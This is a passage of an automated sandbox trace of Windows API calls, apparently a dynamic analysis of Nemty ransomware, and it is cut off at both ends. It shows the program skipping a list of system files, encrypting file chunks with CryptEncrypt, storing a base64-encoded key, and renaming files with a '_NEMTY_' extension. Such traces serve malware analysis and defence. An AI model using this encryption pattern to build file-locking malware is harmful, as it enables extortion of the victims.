lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.317] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0156.339] CloseHandle (hObject=0xffffffff) returned 0 [0156.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0156.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0156.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0156.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0156.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\37.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\37.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\37.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\37.png._nemty_kgobjgd_")) returned 0 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0156.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0156.339] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ae2aa4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ae2aa4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adfd2ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="38.png", cAlternateFileName="")) returned 1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2=".") returned 1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="..") returned 1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="...") returned 1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="windows") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="$RECYCLE.BIN") returned 1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="rsa") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="NTDETECT.COM") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="ntldr") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="MSDOS.SYS") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="IO.SYS") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="boot.ini") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="boot.ini") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="AUTOEXEC.BAT") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="ntuser.dat") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="desktop.ini") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="CONFIG.SYS") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="RECYCLER") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="BOOTSECT.BAK") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="bootmgr") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="programdata") returned -1 [0156.340] lstrcmpiW (lpString1="38.png", lpString2="appdata") returned -1 [0156.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="38.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="38.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="38.png", lpUsedDefaultChar=0x0) returned 6 [0156.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="38.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="38.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="38.png", lpUsedDefaultChar=0x0) returned 6 [0156.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="38.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="38.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="38.png", lpUsedDefaultChar=0x0) returned 6 [0156.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="38.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="38.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="38.png", lpUsedDefaultChar=0x0) returned 6 [0156.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0156.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0156.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0156.340] Sleep (dwMilliseconds=0x5) [0156.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10d558f0, dwHighDateTime=0x1d561e8)) [0156.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10d558f0, dwHighDateTime=0x1d561e8)) [0156.341] GetLastError () returned 0x5 [0156.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0156.341] GetLastError () returned 0x5 [0156.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0156.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0156.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.341] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0156.341] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0156.341] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0156.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0156.341] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="+s2KxLrhvD9vLcaAMJAYz1F7M2rUxBWyeg72WIQFj7Zb2NSn02sxbhncQx6koOdT\r\nkv9FyjxxbJEJ+TtVxJEyLv+shIvBi66QqtSXlxv6u/C0vBEmC+bb616SyH/6fg2I\r\n1/iUL7AiBBghoqFmf+NsQ85WF7TE9n4/Bo65fvIWm7KTJ8nsLcaXEpUxnCJtTISv\r\nzvq78u9ys7XvPF3k1AkkNO/VaQrpnKdUgyU9qrK9ZSe+XFhg5ukX9EOj2RQK8buo\r\n4c3/qmzanB0AEmGWuaYx2nJk4AVS5THEj9kCIkOnUPIHuUPV5UA5EJPRC9kBQDVE\r\n4YQASXdt37ybBqp7rQDNSw==\r\n", pcchString=0x653e91c) returned 1 [0156.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0156.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0156.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0156.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0156.342] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\38.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\38.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0156.342] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0156.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0156.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.407] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.407] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: 